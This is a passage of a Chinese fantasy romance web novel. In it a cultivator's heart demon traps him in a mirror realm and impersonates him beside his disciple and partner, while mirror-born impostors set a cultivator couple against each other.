“这样啊,行,总之人放身边安心一点,明着来好歹我们知道他想干什么,我对于和暗处的家伙打交道有些嫌烦。”唐山玉想起曾经一段追着某个人跑了好几个地方的血泪史,因为那个家伙躲躲藏藏特别难抓。 不知道在哪里的乌雅打了个大大的喷嚏,打完后她就继续拿着纸做着什么记录,而一只奇异的虫子正缩在她的肩膀打着哈欠。 扯回来。 唐山玉看着两盘一模一样的红烧鱼陷入了沉思,而石泽竹则兴奋地道,“太好了山…唐…兰,这是你喜欢的菜,要先尝尝看吗?” 山螳螂是什么鬼? 唐山玉听到这话点了点头,他知道,他当然知道这是他喜欢的菜,所以为什么会有两道呢? “好徒儿,快尝尝看,看看哪道更好吃~”秦兰时笑容灿烂地迎接了上去,他把筷子贴心地塞到了唐山玉手里,眼里带着期待。 任海站在旁边散发着靠谱又沉稳的味道,他闻言又是对唐山玉爽朗一笑,露出的那一口大白牙显得他这个笑容更为真诚了。 “…师父,哪道是你做的啊?”唐山玉觉得菜怎么能长得一模一样呢,这不合理啊。 “你猜?” 送命题。 大大的送命题。 唐山玉敢肯定,他要是认错了鱼,他晚上就完了。 …不对,为什么秦兰时突然想要和人攀比起来啊? 想到这里,唐山玉转头往秦兰时那边看去,而秦兰时见人看了过来,就举起锅铲挡住自己的脸,随后很是羞涩地偏过头去。 唐山玉:…… 你害羞个啥!!! 第167章 镜子 最后唐山玉还是认出了秦兰时的红烧鱼,他获得了秦兰时一个感动的眼神,虽然嘴里吃着鱼肉,心里却是念着那无限的惆怅。 就这样,大伙们坐下一起吃了饭。 你说什么?关系陌生? 那就一起吃一顿饭。 没有什么事情不是坐下来吃一顿饭不能解决的。 如果有,那就两顿饭。 饭后,唐山玉和秦兰时打算一起散步消消食,这艘灵舟是随清宗特地打造出来给弟子们出海的,所以会比较大,于是他们走了一会后都没有遇到其他人。 “师父,接下来我们要去哪里?”唐山玉拨开微凉的风,轻轻将秦兰时的高马尾从后边抓住。 秦兰时被抓住了,于是他停下了脚步,他抬手扯了扯自己的头发,示意唐山玉松开,“旁人都是拽衣角,怎么就你特立独行扯我头发呢?” “怎么?不可以吗?”唐山玉歪了歪头,随后走到了秦兰时的身边站好,“你方才走太快了,想什么那么专心致志?” “在想海上剧情,文里的着墨不多,我就记得顾延清这次是跟着谢璟一起出来的,然后俩人喝了龙血,不小心又搞在了一起。” “…我记得你之前说过,是谢璟给顾延清喂了龙血才搞一起的。”唐山玉开始回忆往昔,他回忆成功了。 “啊,原来是这样吗,太久了有点忘了。”秦兰时摸了摸自己的脑袋,幽幽叹了口气,“总之呢,除了龙血外,俩人似乎还一起掉落了某个秘境,在里头度过了一些脸红心跳的时日后才出来。” “出来后呢?” “…出来后……在龙族那里……”说着,秦兰时的声音逐渐微弱,他有些头疼地按了按眉头,“我记得好像是有点事情的,但是我没有记住是什么,只记得是有些不好的剧情。” “有多不好?”唐山玉边问边伸手轻轻拍了拍秦兰时的肩膀。 “…心理不适吧,以前的文有点重口。”秦兰时左思右想,实在是想不出来,他就放弃了。 “这么说起来……你为什么看那么重口的文。”唐山玉淡淡地瞥了过来,“按你之前的说法,你看文的年纪应该不大吧?” “……”秦兰时难得有一种长辈抓包自己在看小黄文的既视感,只见他清咳了一声来掩饰自己的尴尬,“这有什么?那个年纪正是好奇心旺盛的时期啊,你看长乐,就挺懂的。” “是啊,按照穿越前年纪上看,你们都是正在读书的学生,就我,是个累死累活的老男人。”唐山玉摆了摆手,随后从秦兰时身边路过。 “…干嘛啦,突然说这种话,你现在年纪比我小好不好?”秦兰时伸手抓住了特意路过的唐山玉,唐山玉也没反抗,任由着人把自己抓过去。 “嗯……看你这几天心情不好?”唐山玉微微侧头看向秦兰时,随后重新转回去,他平静地注视着眼前的海面,“现在好点了吗?” “…也就那样吧?还差点意思。”秦兰时突然伸手勾住唐山玉的手指,他凑过来,紧贴着唐山玉的后背。 “你想要什么意思?”唐山玉任由人贴近,他感受着熟悉的热量将自己所笼罩。 “我想……” “很可惜,不太能,毕竟那位任前辈在这里,我可没有被听着做事的爱好。”唐山玉捂住了秦兰时凑过来的嘴,在人变得委屈之前,他率先在人额头上亲了一口。 “房间里头又不是没有防窥探的……” “万一对方搞小动作怎么办?” 秦兰时沉默,秦兰时委屈地抱住了唐山玉的腰。 “好了,乖。”唐山玉又亲了一口,虽然那事情是不太可能了,但是亲亲还是可以的。 “不够,我还想要。”秦兰时黏黏糊糊地撒娇道。 唐山玉能怎么办呢?当然是满足他啦,于是他又亲了几口秦兰时,亲得人的嘴角直直飞上天,下不来那种。 秦兰时的心情顿时美妙极了,他就那么抱着人回到了房间,开始享受起温暖的夜晚。 第二天,他的心情再次不美妙了。 因为他们的灵舟误入了一片秘境,这秘境的入口是深深的漩涡,几乎是一瞬间的事,灵舟和人分离,人散船飞,那大大的漩涡口宛若吃人的凶兽,直接一口啊呜地把人吃掉了。 是的,秦兰时和唐山玉分散了,他坐在地上,看着这里由无数片镜子形成的空间,无数个秦兰时被映在镜子里,这让他感觉到眼花缭乱。 他一动作,无数个镜子里头的秦兰时也跟着动作,如果他跳广场舞,那么无数个秦兰时也会跟着他跳广场舞。 秦兰时想要把这个空间直接撕碎算了,于是他重新站起来,拍了拍衣服上的灰尘,召唤出了若兰剑,他挥起了剑打向了其中一面镜子。 正要打过去的时候,秦兰时的动作立马停了下来,而剑上所挥去的剑气直直地打入了镜子内,与此同时,秦兰时听到某处传来了剑气呼啸的声音。 那感觉像是打中了什么。 秦兰时发觉到这一点的时候,事情已经发生了,完了,他不会打到人了吧,虽说他方才收了力道,可那残余的剑气用来打弟子应是绰绰有余的。 如果打到山玉就糟了。 所以,希望接到这剑气的人是任海。 不过…… 秦兰时转头看向了镜子,这无数面镜子应该是可以自由穿梭的,单纯的打是打不破的,因为攻击会被镜子吞掉,然后又在某个地方吐了出来。 这秘境真是奇异,不过这里应该不是书里头那个可以谈情说爱的秘境吧,在那么多面镜子前谈情说爱……嘶,有点吓人啊,毕竟自己的一举一动都被镜子反射出来。 秦兰时一边想着一边触碰镜子,果不其然,在他触碰到镜子的一刹那,他就感觉到那边似有通道被打通那般,灵力积极地往四周散开,仿佛在欢迎他什么。 犹豫几秒后,秦兰时果断进去了,凭借他的实力,他应该能够出来的。 …… 失策了。 好像出不来。 因为里面居然是和外头相反的黑色,而在这片黑色空间里,周围也全都是镜子,好一个镜中镜,他明白了,这是迷宫,一个不能用武力解决的迷宫。 这让秦兰时很绝望。 不过他也就绝望了一下,就开始通过同心莲的感应试图寻找唐山玉的身影,很快,他在密密麻麻的镜子里找到了他心心念念的好徒儿。 就在秦兰时两眼放光地伸出手去触碰那面倒映着唐山玉的镜子时候,突然,他发现这个镜子穿不过去,其他镜子都可以穿来穿去,就这一面不可以。 秦兰时不解,但是秦兰时会狠狠地拍打镜子,试图用扇巴掌来让镜子清醒一点,不要不识好歹。 “山……”玉字还未出口,秦兰时的声音就顿住了,因为他看到了唐山玉的身边,还有另一个秦兰时。 而那个秦兰时似乎察觉到了这边的目光,便转头冲这边笑了笑,不知为何,秦兰时觉得这个秦兰时身上有一股子熟悉的气息。 还没等秦兰时想出点什么,那边的秦兰时突然伸出手将唐山玉抱入了怀里,并且和猫儿一样蹭了蹭唐山玉的肩膀。 那姿态和平时的他没什么两样。 秦兰时:…… 理智,啪的一下就断掉了。 只见他一拳头砸在了镜子上,奈何镜子没破,但是他的手因为这力度流了血,血顺着镜子往下流去,秦兰时的眼眸似乎因为这血也渐渐红了起来。 “……妈的,我就知道你这混蛋还没死透。” 心魔本就是没有形态,没有人说过它们是活的,当然,也没有人可以解释它们是死的。 这种东西只存在于人们的妄念里,随着人类的情感滋生成长,最后,它们会蛊惑着人类,也就是它们的宿主,将它们滋生而出的恶欲所吃下。 或许,这便是所谓的一念成魔。 或许刹那间,它会灰飞烟灭,但是人的欲望总是无穷无尽,只要欲望还在,那么,就会再度出现,尤其是在那种情感热烈的人身上,体现得淋漓尽致。 就比如现在…… 心魔享受着宿主体内揉杂着的恨意,嫉妒,愤怒等等的情绪,感觉肚子都饱了不少。 早说这样能吃饱饭,他就早点对唐山玉下手了。 这些年来,他一直在躲躲藏藏,快把他给饿死了。 “…师父?你在想什么?”唐山玉看着人突然时而得意时而懊悔时而兴奋的表情,觉得秦兰时更傻了。 “好徒儿,为师只是~~”心魔秦兰时听到这话,哈哈一笑,随后又抱紧人了几分,这让那股恨意更浓郁了,“只是~觉得有山玉在真好~” “……”唐山玉沉默了。 总觉得有点不对,但是又说不上来为什么。 第168章 吃口热乎的 心魔在被杀死的时候,是没有痛觉的,他也的确消沉了一阵子,那段时间对于他来说就像美美地睡了一觉那样。 再次醒过来后,他第一眼看到的是……受伤的唐山玉,染血的衣裳,不明物体散发的诡异气息,这些无比影响着秦兰时此时此刻的神智。 当初,心魔的第一个念头是:机会这么好?他现在入侵意识肯定非常成功吧?就这样霸占宿主的身体,最后美滋滋地原地入个魔,完成他的使命。 想是这样想了,做也打算这样做了,但是后边唐山玉又跟个没事人一样在秦兰时面前晃悠,他那温和的笑容让宿主的情绪更加稳定了。 这让心魔特别无语,他的机会就那么离开了,为了避免被秦兰时发现,他只能再次躲起来,现在的他可没有之前那样顿顿饱了,现在,情绪稳定的宿主可谓是让他吃一顿饿好几天。 心魔对此怨念十足,当然大部分并不是因为这个,实际上他对这个宿主早就不满了,但是他又不能换宿主。 这天,心魔发现秦兰时进入的这个秘境有些奇妙,这里像是那种叩问灵魂的心境,既然是心境,那么由心而生的心魔自然可以在这处心境里头自由走动,尤其是可以在镜子里头自由穿梭。 这无疑是一件好事,只不过心魔不可能大大咧咧地出现在秦兰时跟前,如果他想要挨一剑的话。 所以,在秦兰时神经兮兮地跳起来广场舞的时候,心魔躲在镜子里头,只能被迫跳起广场舞,一边跳他一边在心里头骂秦兰时神经病。 骂完后,他就看到秦兰时自动地跳入镜子内部,心魔这样一看,觉得自己的机会来了,当即从镜子里头跳出来,并且用残余的力量将秦兰时困在了镜子中。 本身这镜子中就有无数的残影等待着将外边的人拖进来,然后代替他,走出去,一模一样的脸,一模一样地动作,还有声音,似乎完完全全成为了那个人。 而被拖进去的人,则会被镜子困在里头。 总结,一堆假货对真货虎视眈眈,并且一心想着取代镜子外边的真货。 而现在的心魔只不过稍微用力量混淆了镜子对他的判断,把他判断成镜子中的残影一个,而进去的秦兰时就被当是被他取代的那个人。 心魔出去后,就开始在心里给秦兰时上香了,他心情美滋滋的,正准备想法子去找找构建这个秘境的东西,好把秦兰时彻底困这里,顺便借助秘境实现他的心魔实体梦。 正想着,他就听到了后头传来了脚步声,心魔内心一震,怀疑是秦兰时发觉后追上来了。 他的自由难道就要到此为止了吗? 不甘的心魔正积累着骂人词汇,准备转头给秦兰时骂个狗血淋头,可谁知他一转头,看到的不是想要杀他的秦兰时,而是一脸关切的唐山玉。 ……顿时,心里松了一口气。 毕竟被杀死过的他,实力已经是大大减弱,实在是打不过现在的秦兰时了。 …再说了,最近饿多了,就更不能打得过了。 这么一想,眼前的这个唐山玉就是害他饿肚子的罪魁祸首。 越想越恨,这让心魔看唐山玉可真是哪哪都不顺眼,只不过表面上依旧笑嘻嘻地任由唐山玉查看他的状况。 唐山玉查看完状况后,就松了口气,他开口询问起这个秘境的情况来,毕竟秦兰时实力比他厉害,见识也广,问他这种问题最合适不过了,“师父,此处的秘境古怪之处颇多,我总觉得镜子里头的影子有些……” 说着,唐山玉似是斟酌一下词汇,想要用合适的词来形容目前的情况。 “有些古怪对吧?我也觉得呢,我总感觉好像有一股视线……”心魔秦兰时缓缓侧一下头,他早就感应到宿主的踪迹了,就在不远处的镜子里头,想必应该在面容扭曲地看着他呢。 这样一想,心魔秦兰时便冒出了那么一个念头,念头有了,那就该行动了,只见心魔秦兰时果断地伸出手一把抱住唐山玉,语气害怕地蹭了蹭人的肩膀,“想要杀了我那样,我好怕怕啊~” 那股恶毒的气息更加浓郁了。 心魔秦兰时终于吃上口热乎的,他内心感动不已,看唐山玉的眼神也顺眼了不少,于是他打算再接再厉,对着唐山玉很是没有节操地黏糊起来。 饭来!饭来! 被抱得更紧的唐山玉觉得这个秦兰时……黏糊得有点正常,但是还是有那么一丝怪怪的在里头。 “…师父,稍微松一下手?”唐山玉试探性地想要挣脱这双有力的手臂,“我都不能好好走路了。” “嗯~?好呀好呀~”心魔秦兰时听到这话,略微一顿,随后便爽快地松开手,他瞥了一眼某处的情况后,就继续笑着跟在唐山玉的后头,“山玉接下来打算如何呢?” “找到大家,然后和大家一起找到秘境的出口走出去。”唐山玉在人松开自己后,就活动了一下手臂,闻言便将目光放在周围的镜子上,“师父有没有探查到其他人的情况?” 心魔师父不知道哦,心魔师父只负责把某个师父气得牙痒痒好吃个大餐呢。 虽然心里那么想,但是心魔秦兰时为了能够延长吃饭的时间,他选择随手一指,“我好像感觉到那边有什么,我们过去看看吧。” 而那个方向,是秦兰时那面镜子的反方向,也就是说,心魔秦兰时想要直接把唐山玉带远一点,让秦兰时在镜子里头无能狂怒。 “嗯,好,那就依你说的做吧。”唐山玉这样说着,就抬脚往那边走几步,可刚走了几步路,他就停顿了下来。 “嗯?怎么了?”心魔秦兰时见人不走了,有些好奇地笑问道,“好徒儿莫不是在害怕,想要为师走前面么?” “…没有。”唐山玉往后看了一眼,他笑着摇了摇头,“其实,我只是在想……” 唐山玉对心魔秦兰时伸出手,像是在讨要什么,“师父你好像忘了什么?” “…啊?”心魔秦兰时看到那伸出来的手,愣了一下,他心里在想难不成那么多年过去,这死穷鬼终于有钱了吗,但是他作为心魔哪里来的钱。 “我是说,拉住我的手。”唐山玉见人没反应,便主动的上前去牵住对方的手,他可以感觉到对方被牵住后的身子一颤。 “……哦。”心魔秦兰时还以为被发现了呢,不过应该是没有的,不然怎么会主动拉住他的手呢。 俩人继续往前走去,很快,他们就看到了前方似乎出现了两道人影,细看下,这俩人并不是他们所认识的。 “他们是谁啊?师父你认识吗?”唐山玉看到人后,便站在远处观望。 “…不认识。”不是,他就随手一指,怎么还真的有情况。 那是一对男女,这对男女此时此刻正在打架,你来我往,镜子因为吞了不少攻击正在四处乱射着因俩人而产生的攻击。 “嗯?他们好像是守念盟的人,怎么突然打起来了?师父,我们过去……”唐山玉果断地松开手,正准备去拿自己的剑,可才松开一秒,他的手就被心魔秦兰时给抓住了。 “…做什么?”心魔秦兰时发觉那抹温暖主动离开的时候,他本能地伸手抓住了,但是在抓住的时候他就后悔了。 “去帮忙。”唐山玉回答了他的问题。 “帮忙……?”心魔秦兰时咀嚼着这词汇,像是在理解其中的意思,又或者,他在思考着什么。 “…那边又要开始打架了,我……”唐山玉刚想说点什么,就被眼前的秦兰时打断了。 “不许去。” “……”唐山玉愣了一下。 “我说……不许去。”心魔秦兰时突然笑了一下,随后将人拉至自己的身前,他于人的耳畔轻声低语,“别管他们好不好?毕竟……他们和我们没什么关系呀?” 真是无趣的行为。 “为什么要特地去帮他们呢?又没有好处,感恩戴德又不能吃,山玉呀……”心魔秦兰时说着,轻叹了口气,“我们一起活得舒服些,不好吗?” 啊啊,太无聊了,老样子的台词,老样子的戏份。 “……”唐山玉继续沉默。 真没意思…… 就在心魔秦兰时以为唐山玉不会回答自己,便在心里头发自内心地嘲笑对方一通后就准备松开手任人随意离开,突然,他感觉到唐山玉往回捏了捏他的手掌。 “好,我们走吧。” …… 咦? 第169章 寻找 太过简单了。 简单到心魔秦兰时有那么一瞬间的语塞,他看着唐山玉拉起他的手,看着就要往远处走去。 心魔秦兰时拉住了他,很是无辜地笑了笑,“哎?真不去呀?我就说说而已嘛~” “…只是说说吗?”唐山玉重复了一遍心魔秦兰时的话,他微微低头,低垂的眼眸中也不知在想些什么,接着只是试探性地问了一句,“那我去了?” “哎呀,去吧去吧~”心魔秦兰时挥了挥手,一副大方的模样。 唐山玉一步三回头,发现这个秦兰时没什么不对劲的地方,要说有,那就是笑容太过灿烂了。 但是,在这温暖的阳光下,原来身体是会冷得发抖的吗? 唐山玉想了一下,没有去理会这异样感,他举起剑,阻挡了那边还在打架的男女,几乎是一瞬间的事情,两方停止了打斗。 还不等唐山玉细问,那男修士就惊恐地开口道,“她根本就不是连容!!她是假的,她是这个秘境滋生出来的怪物,除了那具皮囊外,她根本就……” 哪里都不像。 男修士的声音宛如惊雷般炸于地上,那响起的回音荡在众人的心头久久不能平息,而站在他对面那位女修士眉头一皱,也跟着大骂出声。 “屁,你才不是汪秋!!你以为我不知道吗?都在一起那么久了,我连你屁股上有多少颗痣都知道!!真正的汪秋在哪里!!你这个怪物!!”说着,连容就举起手里的武器,打算再次攻击上去。 “等一下,两位守念盟的道友,有话好好说,就算你们这样打下去也无济于事不是吗?”唐山玉决定和俩人好好谈一下,毕竟在这种情景下,打架是打不出结果的。 “我的连容现在还在……” “我的汪秋现在还在……” 唐山玉笑容灿烂地拿出十张爆破符,“再不安静就一起死。” 俩人纷纷安静了下来,并且都用惊恐的眼神看向了手拿爆破符的唐山玉。 “…那个,这位道友冷静一下?”连容小心翼翼地开口了,她看了一眼那爆破符,又看了一眼笑容温和的唐山玉。 “我很冷静,我觉得我应该比你们要冷静。”唐山玉见俩人冷静了下来,欣慰地笑了笑,“看到你们这样冷静,我非常欣慰。” “……”汪秋一言不发,他看上去有些警惕。 “总之,道友,因为这个秘境的缘故,我并不分辨你是否是来自镜中的怪物,所以能不能离我远一点?不行,我离你远一点也行。”连容说完,试探性地往后走了一步,见唐山玉没有意见,便又退了好几步。 “谢谢道友的谅解,道友是看到我们身上的腰牌才断定我们是守念盟的人对吧?方才让道友见笑了,真是不好意思,我是有些急切了,毕竟没有什么人能够在面对道侣失踪时候,一个顶着道侣脸的怪物接近自己还可以维持冷静。” 连容站定后,输出了一堆话后,这才缓缓长松了一口气,因为就那么对峙下去,她也不知道会怎么样,唐山玉的插手无疑打破了方才那你死我活的局面。 唐山玉听到这话,啊了一声,随后他点了点头表示理解,就在这时,心魔秦兰时也凑了过来,在唐山玉的耳边吹着热气,“山玉~” 唐山玉沉默了,只见他微微偏一下头,“怎么了?” “…没什么,我只是想问问,事情解决了吗?”心魔秦兰时嗯哼了一声,随后他伸出手,一一指向眼前的俩人,“他……是假的,还是她?山玉有想好吗?” “没有,我对他们又不是熟,再说了,我目前还没找到镜子中的人都有什么特点呢?”唐山玉坦诚地表示自己什么也不知道,“不过,我倒是有个法子。” “哦?什么法子?山玉能不能告诉我呀?”心魔秦兰时对唐山玉的印象除了经常让他挨饿外,还有这个人似乎还挺聪明,聪明到好像什么事情都尽在掌握之中。 这种感觉让人非常不爽。 心魔秦兰时这样想着,心里头的破坏欲再度涌出,如果能够让对方的计划落空,似乎也不是不错的游戏。 或者说,让这张向来从容的脸,变得可怜,变得惊慌失措,啧啧啧,这么一想,想要破坏的心就更加强烈了呢。 反正,心魔都是坏的,所以干坏事很正常的对吧。 “法子就是……” 心魔秦兰时凝神屏气,打算把计划听完后就找机会破坏计划,最好误导对方选择假货,把真货给除掉。 “我们先找出口吧。” 心魔秦兰时:…… 嗯??? “就…就这样吗?”心魔秦兰时不甘心,于是他打算再问问,不应该啊,怎么能那么短,而且非常无厘头。 找出口和判断真假身份有什么关联吗?没有吧?怎么可能有啊!! “对啊,就这样。”唐山玉点了点头,然后转头把他的打算和其他人说了一遍,果不其然,其他人都流露出和心魔秦兰时一样的不解来。 差点以为自己是不正常的,原来这是正常的,那就好。 心魔秦兰时松了口气,他还以为自己睡太久了,然后这个世道的思维产生了巨大变化不带上他呢。 “…道友,可否告知你这般举措的含义?”连容拱手一礼,她依旧和其他人保持着不远不近的距离,“…恕我直言,要是让我和……” 她看了一眼那边的真假汪秋,“我怕我忍不住和其大打出手,毕竟我的道侣肯定还在我不知道的地方等着我去救他。” “我理解你的顾虑,但是现在我们对于秘境并不了解,一意孤行不是好事,对了,先自我介绍一下,我姓唐,名玉,我身边这位是我的师父。”唐山玉点了点头表示自己明白,他那么说着,转头看向了心魔秦兰时。 “…对,我叫秦…时,是唐玉的师父。”秦兰时听到唐山玉用假名,虽然这个假名起得非常敷衍,也就跟着用随口编造的假名自称。 “同时也是我的道侣。” 心魔秦兰时突然哑了火,虽说他本就被唐山玉那无厘头的计划搞得心情烦躁,具体是烦躁什么,可能是因为他干不了坏事的吧,但是唐山玉这一句介绍,让心魔秦兰时不可避免地生出些许恼意,这恼意或许对的是唐山玉,还有那个混蛋。 “啊,原来两位是那样的关系。”连容稍微惊讶了一下,就恢复回原来的模样,毕竟世界之大无奇不有,这种情况能够理解理解。 汪秋站在一旁,脸上的震惊不似作假,不过他也很快就恢复过来,冲着俩人拱手一礼,“两位好,我是汪秋。” “不,你才不是汪秋!”连容有些恼火地转头看向了这个汪秋。 “…你也不是连容。”汪秋眉头紧皱,似要在连容身上盯出个洞来。 俩人互相盯了一会,就哼了一声扭过头去,好一个相看两厌的冤家。 唐山玉见俩人除了相看两厌外,似乎都没有提起方才他那计划的不妥,许是都答应,所以唐山玉就自顾自地找起了出口。 出口是没有找到的,但是特殊的镜子倒是找到了,而这面镜子在无数面镜子里头显得格外的显眼,因为这面镜子上空无一物。 这镜子,倒映不出人的影子。 里面是一片空白。 “师父,这里。”唐山玉转头喊了人,其他人听到唐山玉的喊声纷纷围了过来,他们一起看向这面镜子,这里面什么都没有。 ……真的什么都没有吗? 唐山玉发现在其他人靠过来的时候,浑浊的黑突然涌现出镜子上,流动的黑水缓缓从上方留下,遮住了那片空白。 有什么东西被照了出来。 是连容?还是汪秋?或者…… 秦兰时的声音低低在在他耳边响起,似微风吹拂而过的树,沙沙作响,“山玉?” “……没什么。”唐山玉微微低下头,随后很快露出了笑容,“你看,这镜子是不是很奇怪?” “嗯,的确有点奇怪,和其他不一样,能进去吗?”心魔秦兰时看了一眼那浑浊的黑,嘴角微微勾起一下,很快就落下,他似是有些愉悦。 “……要进去吗?”唐山玉重复着他的话,并不做出回应,而是转头问向了其他俩人,“我们要不要在周围找找,这里有没有差不多的镜子,或许,这是关键也说不定。” “我赞同唐道友的话,那么我们是要分散开吗?如果就这样让这个假汪秋逃走,我会很不爽的。”连容说着,又瞪了一眼汪秋。 “我亦然。”汪秋冷冷地看了回去,他也不会放过这个假连容的。 “…那就兵分两路?我们……”唐山玉还没说完,就被心魔秦兰时打断了。 “我可以跟着连容吗?”心魔秦兰时笑嘻嘻地举起手,“没什么别的意思,我就是单纯觉得你们俩放一块不太好。” “…啊,如果秦道友愿意,自然可以。”连容愣了一下,连忙点了点头,“…只是汪秋交给你的弟子可以吗?” “怎么?信不过我家山玉吗?”心魔秦兰时冲她眨了眨眼,本身就有一副好容貌的秦兰时这一笑,好似花在春日里盛开那般。 “…自,自然是信的。”连容有些不好意思地别过头去。 “……”围观了整个过程的唐山玉一句话都没有说,他把头转向了那边的汪秋,发现汪秋正一脸冷漠地看着那边的情况。 “…既然师父这样提了,那就这样做吧。”唐山玉顿了顿,随后走过去,为心魔秦兰时整理衣领子,实际上只是为了在他耳边低声说那么一句话,“别玩过头了。” 心魔秦兰时:…… 这都不生气? “…知道了。”心魔秦兰时伸手拍开唐山玉的手,语气有些不高兴地道,应该是因为自己干坏事没有成功的缘故。 不过,他答应了,也可以反悔。 所以,他肯定要玩得特别过头才行呢。 唐山玉收回了手,他看了一眼这个秦兰时拍开自己的那只手,就转过头去,看向了汪秋,“走吧,我们走另一边。” 与此同时,镜子里头,秦兰时坐在地上,拿着布包扎自己的手,围一圈又围一圈,而他的眼睛正死死地盯着唐山玉的情况。 那个心魔的情况他是一点都不想关心,但是为了更能够判断此时的情况,秦兰时可谓是不情愿地把有心魔的那面镜子挪到自己面前。 此时此刻,两边分开这让秦兰时松了口气,再看下去,他真的怕一个冲动把这里都毁了,可是他又不能这样干,万一这里和外边的空间是相连,如果因为他一人之力,害的山玉和其他人都陷入危险中,那他宁愿多待一会镜子里头。 正包着手,突然,秦兰时听到了他后边有脚步声传来,看来是有人也进入到了镜子中来,他转过头去,在看到来人后,他眼睛微微瞪大。 “你……” “你和弟子的关系看上去真的很好呢,想当年我和汪秋的关系也是那么好。”连容一路上滔滔不绝地聊起了曾经,而心魔秦兰时则是一脸无语又不耐烦,并且表现得特别明显。 可是连容似乎没有察觉,就那样继续说着话,从风花雪月谈到了如今的悲凉,“…也不知道他在哪里,秦道友,你能够体会到这种感觉吧?” “……怎么说?”心魔秦兰时心想终于来了,于是他打起了一分精神。 “…毕竟……唐道友好像……被镜子里人替代了,你选择和我一路同行,就是因为发现这一点对吧?” “对,你说得没有错。”心魔秦兰时眯起了眼,声音也难掩愉悦起来。 “所以,我们联手吧,把那两个怪物……”她在说这句话的时候,瞳孔里什么也没有,有的,只是空洞的黑,“杀死在这里吧,只有这样,我们才能找回…… “我们的爱人。” 第170章 错啦 另一边,唐山玉正和汪秋寻找着特殊的镜子,一边找唐山玉一边和人搭话,“你和连容道友感情很好啊。” “嗯,我们感情很好。”汪秋毫不犹豫地回答道,“…只是,她目前生死不明……我有点害怕。” “害怕她出事对吗?”唐山玉笑了笑,很是理解地点点头,“是我我也会这样,爱人出事,谁不害怕呢。” “嗯,我真的很害怕。”汪秋点了点头,随后,他稍微停顿了一下,“那唐道友可曾怀疑过身边人是否已被怪物所替代?” “哦,这个啊。”唐山玉笑容有些意味不明,不过他并不急着给出答案,反倒是先问汪秋,“那你呢?你又是怎么怀疑的?” “我吗?”汪秋低下头,他在思考应该怎么回答唐山玉的问题,从目前的情况来看,他迫切需要一位盟友,“我之前和她一起来到这个秘境的时候,我不小心和她分开了。” “嗯,我之前也是。”唐山玉没有说出除了秦兰时外,他还和其他人也失散了,希望他们没有事吧。 “后来,在我们重逢的时候,我真的很开心,那个时候,我就只想着找机会和她一起出去,但是……”汪秋终于说到了重点,他皱起眉头,似乎不愿意回想那一幕,“她,明明是左撇子啊,在我们一起拿着剑驱逐镜子里头钻出的怪物时候,我发现她拿剑的手是右手。” “除此之外,你应该还去验证了不少东西吧?”唐山玉叹了口气,不过由此可以得出,这镜中怪物变化成人的时候,这镜中的习惯并没有发生改变,或许是没有来得及去习惯。 “…是的。”汪秋闭了闭眼,他握紧拳头,长呼出一口气,“她……不是我的连容,尽管它模仿得再像,也不是我的连容。” “啊,找到了,这里也有一面非常特殊的镜子。”唐山玉啊了一声,随后他转头冲汪秋招呼道,汪秋听到这话,也就走了过去。 与此同时,那面空无一物的镜子里头,逐渐浮现出一道身影。 …… “停,我必须得纠正一点,他可不是我的爱人。”心魔秦兰时别过头去,懒洋洋地打了个哈欠,随后就发出了一阵冷笑,“呵,这种无聊的东西,我可不需要。” “连容”愣了一下,显然她没有想到心魔秦兰时会是这个反应,下一刻,一张放大的俊脸就那么出现在她的面前,这让“连容”本能地往后退了几步。 “哎呀,怕什么,我又不会吃了你~”心魔秦兰时见到她后退的步伐后,顿时有些索然无味起来,不过他还是耐着性子继续往下说去,“虽然他不是我的爱人,但是这也不代表我不会帮你啊?你是想要除掉汪秋和唐山玉对吗?” 心魔秦兰时特地把那两个名字咬重不少,只要是有脑子的,大概都明白他暗示了什么。 “…啊?” “连容”肉眼可见地慌张起来,“不不不,我只是想要除掉那两个怪物,我怎么会想要杀死汪秋呢?唐道友于我也没有什么仇恨,就算他不是你的爱人,但是你们不是师徒吗?我们一起把他们救出来吧?” “哎呀,唐山玉也不是我的师徒。”心魔秦兰时笑眯了眼,他越发地觉得坏事还是快点干完为好,“都错啦,都错啦。” “…那,那你们俩关系也挺好……” “哈哈哈……”心魔秦兰时笑出了声,他同时也失去了耐心,只见他笑容消失的那一瞬间就抬手死死地抓住了“连容”的脖子,随后轻而易举地把人举了起来。 “喂,错得离谱,你会不会说话的啊?”心魔秦兰时声音低沉着,全无方才的明朗,“我说了,会帮你,你不第一时间对我感恩戴德,还老是问一堆让人不爽的问题。” “想我吃了你就直说,没必要拐弯抹角的。”心魔秦兰时说着,又笑了起来,黑气自手臂蔓延而上,席卷了“连容”的全身,“连容”顿时感觉到自己身体里的力量好像被什么东西疯狂吸走。 她惊慌地晃动着双腿,喉咙深处发出不知名东西翻滚破碎的声音,脸上也开始出现裂痕,而这裂痕有愈演愈大的趋势。 就在“连容”以为自己要命丧于此的时候,心魔秦兰时松开了手,“连容”无力地掉落在地上,她捂住自己的脖子,神情异常惊恐。 “啊,抱歉抱歉,我掐痛你了吗?”心魔秦兰时蹲下身子,温柔地看着她,“我不是故意的,你会原谅我的对吧?” “连容”:…… 面对这样的神经病,她默默地点了点头。 “我就知道,你会原谅我的~真让人高兴~”心魔秦兰时说着,笑嘻嘻地重新站起身子,他伸长脖子,往唐山玉那个方向望去,“嗯……走吧,我们现在过去把怪物都杀掉吧~” “连容”连忙点了点头,可她刚刚点完,心魔秦兰时又摇了摇头说,“不对,这样不对,这样没有那种效果……” “……”她什么话都不敢说。天杀的,这里不是她的地盘吗?为什么她那么窝囊啊。 可是方才脖子处的感觉还遗留在上面,“连容”咽了一下口水,她选择了从心。 可还没等“连容”窝囊完,心魔秦兰时就兴奋地将她从地上拉起来,接着,又给她递来了一把剑。 “连容”:……? “来来来,快,刺我这里,还有这里,血的话我会自主生产的,所以不用担心~”心魔秦兰时脸蛋微红,他显然是兴奋的,因为想到什么好玩的东西而兴奋的。 “连容”想回镜子里了。 但是心魔秦兰时不让,所以他指使着“连容”把自己砍得看上去半死不活后,这才满意地往唐山玉离开的方向走去。 一路上,他们都没有看到什么人,但是镜子里头倒是有不少人,不过这些人都是他们的自己于镜子里头的身影。 “奇怪?他们不是走这边的吗?”心魔秦兰时左右张望,都没有找到唐山玉的踪影,汪秋也是连个头都没有见到。 “……或许他们进到镜子里了呢?”“连容”小心翼翼地出声提醒了那么一个可能性,下一秒,她就收到了心魔秦兰时的阴沉眼神。 “…哈,要是进去就麻烦了。”心魔秦兰时一想起唐山玉进去后就有可能会和秦兰时团聚,他就浑身不爽。 